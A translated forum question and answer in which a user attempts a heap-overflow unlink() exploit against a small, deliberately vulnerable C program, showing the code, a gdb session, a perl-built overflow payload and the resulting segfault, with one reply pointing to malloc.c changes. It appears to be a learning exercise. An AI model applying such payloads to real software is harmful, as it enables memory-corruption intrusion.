explotando Heap Overflow en gdb segfaults

2

He estado intentando explotar la vulnerabilidad de desbordamiento del montón para el programa a continuación, estoy ejecutando Linux 14.04.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int n = 5;

int main(int argc, char **argv) {
    char *p, *q;

    p = malloc(1024);
    q = malloc(1024);
    if (argc >= 2)
            strcpy(p, argv[1]);
    free(q);
    printf("n = 0x%08x\n", n);
    free(p);
    return 0;
}

En esta vulnerabilidad, estoy tratando de escribir una dirección aleatoria de pila de 32 bits en la variable "n" presente en el programa, utilizando la técnica unlink() .

Sin embargo, cuando free () se llama el programa segfaults.

Esta es mi entrada:

(gdb) p &n
$1 = (<data variable, no debug info> *) 0x804a02c <n>
(gdb) x/xw 0x804a02c-0xc  (address-12 bytes)
0x804a020 <[email protected]>:  0xb7e27990
(gdb) x/2xw $ebp
0xbffff1c8: 0x00000000  0xb7e27a83
0xbffff1c8+4bytes=0xbffff1cc

(gdb) r 'perl -e 'print "A"x1024 . "\xfc\xff\xff\xbf"x2 . "XXXX" . "\x20\xa0\x04\x08" . "\xcc\xff\xff\xbf"''

The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/HIIII/heap_overflow/test/heap_1 'perl -e 'print "A"x1024 . "\xfc\xff\xff\xbf"x2 . "XXXX" . "\x20\xa0\x04\x08" . "\xcc\xff\xff\xbf"''

Program received signal SIGSEGV, Segmentation fault.

=> 0xb7e857e0 <__GI___libc_free+64>:    mov    (%eax),%eax
   0xb7e857e2 <__GI___libc_free+66>:    movl   $0x0,0x20(%esp)
   0xb7e857ea <__GI___libc_free+74>:    add    $0x18,%esp
   0xb7e857ed <__GI___libc_free+77>:    pop    %ebx
   0xb7e857ee <__GI___libc_free+78>:    jmp    0xb7e82520 <_int_free>
   0xb7e857f3 <__GI___libc_free+83>:    nop

0xbffff180: 0xbffff1c8  0xb7ff2500  0x0804b412  0xb7e857a0

0xbffff190: 0x0804b410  0xb7e857a6  0xb7fb9000  0x08048500

0xbffff1a0: 0x0804b410  0xbffff3d6

***0xb7e857e0 in __GI___libc_free (mem=0x804b410) at malloc.c:2945
2945    malloc.c: No such file or directory.***

Hetomadoestevectordeataquede enlace (usa glibc- 2.2.4)

Gracias de antemano

    
pregunta user10012 20.03.2015 - 12:25
fuente

1 respuesta

1

En este sitio se realizó un álgebra muy cuidadosa sobre las variables que administran una lista de direcciones con doble enlace. ¿Ha investigado el código fuente de malloc.c y se ha desvinculado para ver que el código no ha cambiado de alguna manera? Creo que encontrarás tu problema allí.

    
respondido por el ojblass 21.03.2015 - 17:56
fuente

Lea otras preguntas en las etiquetas